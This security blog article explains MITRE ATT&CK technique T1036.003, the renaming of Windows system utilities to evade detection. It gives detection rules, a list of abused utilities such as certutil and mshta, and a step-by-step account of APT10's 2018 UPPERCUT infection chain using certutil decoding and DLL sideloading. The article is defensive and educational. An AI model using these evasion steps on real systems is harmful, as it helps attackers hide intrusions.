T1036.003-Rename System Utilities

Adversaries often change the names of system utilities to confuse defenders because what might seem suspicious under one process name could appear completely normal under another.

Malicious Objectives for Renaming System Utilities

Adversaries rename system utilities to evade security controls and bypass detection logic that depends on process names and paths. Through this, the adversaries use existing system utilities on the endpoint, reducing the need for additional malicious payloads post-access. For instance, the analyst may understand and mark the event as a false positive if they analyze the logs of detection due to the renaming of a legitimate process to a suspicious behavior.

An example of this technique is renaming system utilities like certutil.exe to something else, thus potentially bypassing security measures. Another approach to avoiding detection based on typical utility execution paths is to relocate a legitimate system utility to another directory or folder and give it a different name to evade the analyst or security tool.

Through this technique, adversaries abuse legitimate binaries, multiplying the complexity of analyzing the logs and making them detectable. For instance, a behavior might appear suspicious under one process name but seem normal under another. Thus, adversaries aim to keep their suspicious objectives undetectable in the disguise of non-suspicious process names.

For instance, if the process notepad.exe typically doesn’t establish network connections, detecting an adversary using it for such purposes would be easy. However, if notepad.exe were renamed to chrome.exe, actions like external network connections and file downloads would appear to be routine processes.

Mechanism How Adversaries Rename the System Utilities

There's limited approach in how adversaries rename system utilities. They typically either rename the binary or execute a combination of renaming and relocating the system binary. This technique tends to follow predictable behavior: the initial payload, such as a malicious script or document, copies a system binary, assigns it a new name, and, in certain scenarios, relocates it before using it to execute further payloads, establish persistence, or execute other malicious activities.

Note: While renaming or displacing, the adversary remains doesn't touch binary metadata that is linked with the utility. An adversary who manipulates binary metadata is effectively introducing an arbitrary, non-native binary, which is outside the scope of this technique.

In recent cyber attacks, adversaries have frequently abused the following system utilities:

• cmd.exe
• rundll32.exe
• msbuild.exe
• certutil.exe
• vncviewer.exe
• wscript.exe
• 7zip.exe
• adexplorer.exe
• procdump.exe
• psexec.exe
• mshta.exe
• utilman.exe
• regsvr32.exe

Actions That Need to be Taken

Preventing adversaries from changing the outwardly presented name of a system utility is not easy with this technique. However, if you redefine the method for identifying system binaries, such as basing it on binary metadata rather than filenames, renaming an OS utility becomes practically impossible. Consequently, the most effective mitigation suggestions for this technique are outlined in the detection section below.

• Parent and child processes and suspicious process access
• Module loads
• Network connections
• File writes or modifications (particularly the source of the renamed utility)

Visibility

From a broader perspective, the detection and prevention of the abuse of renamed system utilities is dependent on two major factors:

1.?The capability to distinguish suspicious behaviors irrespective of their source and the ability to ascertain the true identity of any system utility in use.

2. To effectively monitor processes and associated metadata, access to file creation event logs, file integrity monitoring, and EDR systems is crucial. This visibility enables tracking of system utility actions and changes in activity, enhancing overall endpoint security.

Process Monitoring:

• Visibility into the process execution that executes the renamed processes.

Process Metadata:

• Third-party tooling or native logging features offer access to process metadata (e.g., process names, internal names, hashes, etc.).
• Effective data sources for observing or identifying renamed system utilities.
• It is crucial for investigations to inspect file metadata for anomalies.
• It is useful for detection purposes, aiding in identifying suspicious activities related to renamed system utilities.

File Monitoring:

• Visibility into the executables running from unusual directories will help in the detection of renamed or relocated binaries.

Command Execution:

• Monitoring over-command content may reveal evidence indicating or directly showing the renaming of a system utility.

Detection Technology

Endpoint Detection and Response (EDR) tool

The EDR (Endpoint Detection and Response) tool is equipped to collect the necessary binary metadata essential for revealing the actual identity of a renamed system utility. It's crucial to note that this technique is detectable by EDR solutions due to their capability to collect the required binary metadata. This strengthens EDR to generate alerts on the genuine attributes of a system utility, even if it has been renamed.

Detection Strategy

The effective method for detecting renamed system utilities is by comparing the internal name embedded within the binary file with its externally presented name. Generating alerts whenever these names differ or deviate from expectations can be highly effective. Following are some suggestions to detect this technique:

Known process names:

• Alert for any activity where the apparent process name differs from known process names associated with the internal name of the binary.

Paths:

• Alert for any activity where the process path does not match known paths associated with the internal name of the binary.

Hash Values:

• Alert on any activity where the apparent process executes with an unexpected hash value compared to known hashes associated with the internal name of the binary.

Command-line Parameters:

• Detect any processes executing with command-line parameters generally associated with a different process than the apparent one.

Detection Logic

Unexpected Internal Process Name or Hash:

• Alert on any activity where the apparent process name differs from the internal process name or where the apparent process name executes with an unexpected hash value.
• While process names may change, the hash values and internal names associated with them should remain consistent.
• It requires collecting internal names or hash values for System32 binaries and cross-referencing them with active process execution.

For example, the internal name for powershell.exe is “PowerShell,” and known process names include powershell.exe, powershell, posh.exe, and posh.

Process Execution from Unusual File Paths:

• Consider alerting on any activity where a process path does not match known process paths given an internal name.

For example, the expected process path associated with cscript.exe (based on its internal name) should be system32, syswow64, and winsxs.

Processes Executing with Unusual Command Lines:

• Detect any apparent processes executing in conjunction with command-line parameters typically associated with a different process.

For instance, invoke-expression, also abbreviated as iex, is a cmdlet in PowerShell, so detecting an invoke-expression in a command line linked with another process rather than PowerShell would be suspicious.

Possible Use Case

All these system utilities (cmd.exe, rundll32.exe, certutil.exe, wscript.exe, mshta.exe, utilman.exe, regsvr32.exe,and powershell.exe) are typically executed from the system32 folder. To ensure security, implement a logic that triggers an alert on the security tool if any of these utilities run from a path that doesn't contain system32.

Real-life Example

APT10 (Menupass)

In July 2018, APT10, also known as menuPass, renamed certutil and relocated it within the system to evade detection methods reliant on the tool's typical usage.

FireEye devices detected and blocked what appears to be APT10 (Menupass) activity targeting the Japanese media sector. APT10, a Chinese cyber espionage group under FireEye's surveillance since 2009 and they have a record of targeting Japanese entities.

In this campaign, the group sent spearphishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. This backdoor is well-known in the security community as ANEL, and it used to come in beta or RC (release candidate) until recently.

The execution workflow is as follows:

1. The macro drops three PEM files, padre1.txt, padre2.txt, and padre3.txt, to the victim’s %TEMP% folder and then copies them from %TEMP% to the %AllUserProfile% folder.
2. The macro decodes the dropped files using Windows certutil.exe with the following commands: (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows.)

3. The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows):

The dropped files include the following:

• GUP.exe?:?GUP, a free (LGPL) Generic Updater.?GUP is an open source binary used by Notepad++ for software updates. The version used here is version 4.1 digitally signed by Notepad++, as shown in the below figure.
• libcurl.dll:?Malicious Loader DLL
• 3F2E3AB9:?Encrypted shellcode

4. The macro launches the legitimate executable GUP.exe.

• The executable sideloads the malicious DLL (libcurl.dll), which decrypts and runs shellcode (3F2E3AB9) located in the same folder.
• The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT. Before decoding the DLL, the shellcode uses an anti-debug technique based on ntdll_NtSetInformationThread which causes the thread to be detached from the debugger, as shown in Figure 6. The DLL is then loaded into memory, and the randomly named exported function is called

5. The macro deletes the initially dropped .txt files using Windows esentutl.exe and changes the document text to an embedded message.

The complete attack overview is shown in the below figure.

Several threat actors leverage the technique of using Windows certutil.exe for payload decoding, and APT10 continues to employ this technique.

Feel free to share more insights on this technique! The comment section is open for all security experts to contribute valuable information to our community.

In this article, valuable information was referenced from the MITRE ATT&CK Framework and Mandiant.